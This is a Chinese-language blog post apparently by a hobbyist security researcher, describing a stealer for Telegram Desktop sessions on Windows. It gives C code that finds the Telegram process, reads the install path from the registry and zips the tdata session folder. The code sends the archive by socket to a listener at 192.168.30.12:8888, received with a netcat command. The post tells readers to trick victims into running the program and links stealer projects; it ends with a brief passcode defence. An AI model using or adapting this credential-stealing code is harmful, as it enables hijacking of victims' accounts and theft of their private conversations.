menu Alkaid #二进制初学者 / 网络安全 / 大龄CTF退役选手
Windows 下Telegram Desktop的身份凭证窃取
270 浏览 | 2020-09-08 | 分类:C语言,编程语言 | 标签:

Windows 下Telegram Desktop的身份凭证窃取

简介

在网上搜索文章时,发现一篇关于窃取Telegram和其他浏览器cookie的apt攻击报告,然后寻找了一些资料,在github上还开源了很多关于窃取Telegram session的工具,自己也简单实现了一遍,这些工具和方法都需要诱导受害者去运行恶意程序。

原理

摘录来自telegram.org网站,明确指出telegram的桌面版和网络版不支持Secret Chats。这些版本是基于云的,因此不存在本地存储内容。恶意软件滥用缺少秘密聊天这项功能,而不是漏洞。telegram桌面版默认情况下不具有自动注销功能。这两个因素合在一起使得恶意软件能够劫持并进行对话。

在Telegram桌面版安装目录下,用户的tdata目录存放了用户的加密身份数据文件,将这些缓存和映射文件恢复到一个新的telegram中。就可以从云端获取访问受害者会话、联系人和以前的聊天记录。(新安装的没登陆过的telegram没有tdata这个文件夹,测试发现需要登录一次任意账号然后删除替换成受害者tdata目录才能成功),目前还没有找到可靠的解密这些数据文件的方法,而且tdata文件夹大小会随着聊天增多而变大。

程序流程

功能

DWORD GetProcessIDByName(const wchar_t* pName)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hSnapshot) {
        return NULL;
    }
    PROCESSENTRY32 pe = { sizeof(pe) };
    for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {
        if (_tcscmp(pe.szExeFile, pName) == 0) {
            CloseHandle(hSnapshot);
            return pe.th32ProcessID;
        }
    }
    CloseHandle(hSnapshot);
    return 0;
}

pid = GetProcessIDByName(L"Telegram.exe");

通过GetProcessIDByName获取当前运行的Telegram程序pid,在tg运行时,tdata目录下资源处于占用状态,打包会失败。

wchar_t regname[] = L"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1";
HKEY hkResult = NULL;
DWORD dataType = 0;
DWORD dataSize = MAX_PATH;
BYTE data[MAX_PATH] = { 0 };
wchar_t dir[MAX_PATH] = { 0 };
wchar_t path[MAX_PATH] = { 0 };
int ret = RegOpenKeyEx(HKEY_CURRENT_USER, regname, NULL, KEY_READ, &hkResult);

if (ret != ERROR_SUCCESS) {
    printf("Error RegOpenKeyEx!!\n", ret);
    RegCloseKey(hkResult);
    return 0;
}
ret = RegQueryValueEx(hkResult, L"InstallLocation", NULL, &dataType, (LPBYTE)data, &dataSize);
if (ret != ERROR_SUCCESS)       //如果无法打开hKEY,则中止程序的执行
{
    printf("%d\n", ret);
    printf("Error RegQueryValueEx!!\n");
    RegCloseKey(hkResult);
    return 0;
}

如果程序没有运行,安装版的telegram的表项是Software\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1,从注册表里读取程序目录,然后再去打包。

void Makezip(wchar_t *dir)
{
    if (ZipCompress((LPCTSTR)dir, (LPCTSTR)(_T("foo.zip")), TRUE))
    {
        _tprintf(_T("Compressed %s to %s successfully.\n"), (LPCTSTR)dir, (LPCTSTR)(_T("foo.zip")));
        send_file("foo.zip", "192.168.30.12", 8888);
        system("del foo.zip");
    }
    else
    {
        _tprintf(_T("Failed to compress %s to %s.\n"), (LPCTSTR)dir, (LPCTSTR)(_T("foo.zip")));
        return;
    }
}

在github上找到了一个叫ZLibWrap的基于zlib的打包功能,然后编译成lib库,程序包含即可,或者用系统自带的打包功能也可以Windows下自带压缩文件工具makecab用法:

https://www.cnblogs.com/hookjoy/p/9339872.html

然后就是枯燥的传文件,直接用socket传了,可以直接用nc接收,nc -lvp 8888 > 1.zip,github上的大多数的针对telegram的session窃取都是通过注册一个bot,然后调用telegram的api把文件发给bot。我觉得可以学习下这种方式,telegram的bot功能丰富,调用也很方便,具体项目可以看下面的参考文章。

测试

在telegram Desktop windows测试,版本为2.2.1和2.3.1,旧版本和便携版好像注册表和我找到的不一样,所以没法直接定位,需要改改。

先vps上监听8888,重定位到文件,诱导受害者运行程序,vps接收zip压缩包,就可以将tdata替换,然后就登陆上受害者的telegram。

附上项目地址,我代码挺渣的:

https://github.com/A2kaid/TG_Session_Compress_Steal

防范方法

建议设置本地密码,来对tdata进行保护,settings > Privacy and Security > Local passcode,这样即使偷走tdata也没法登陆用户账号。

参考文章和项目

新型恶意软件—— Grizzly攻击Telegram
https://beta.4hou.com/system/11718.html

Masad Stealer Malware exfiltrates data via Telegram
https://securityaffairs.co/wordpress/91836/malware/masad-stealer-malware.html

RoboThief-Telegram-Session-Stealer
https://github.com/MrModed/RoboThief-Telegram-Session-Stealer

Teleshadow3- Advanced Telegram Desktop Session Hijacker!
https://github.com/EternalC0der/TeleShadow3

便于使用的zlib库,用于C的文件夹压缩zip
https://github.com/Streamlet/ZLibWrap

windows环境下的socket编程(tcp文件传输的实现)
https://blog.csdn.net/xuexilangren1/article/details/84485377

RoboThiefClient - A Telegram session stealer
https://blog.rico-j.de/telegram-session-stealer/

温柔正确的人总是难以生存,因为这世界既不温柔,也不正确

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!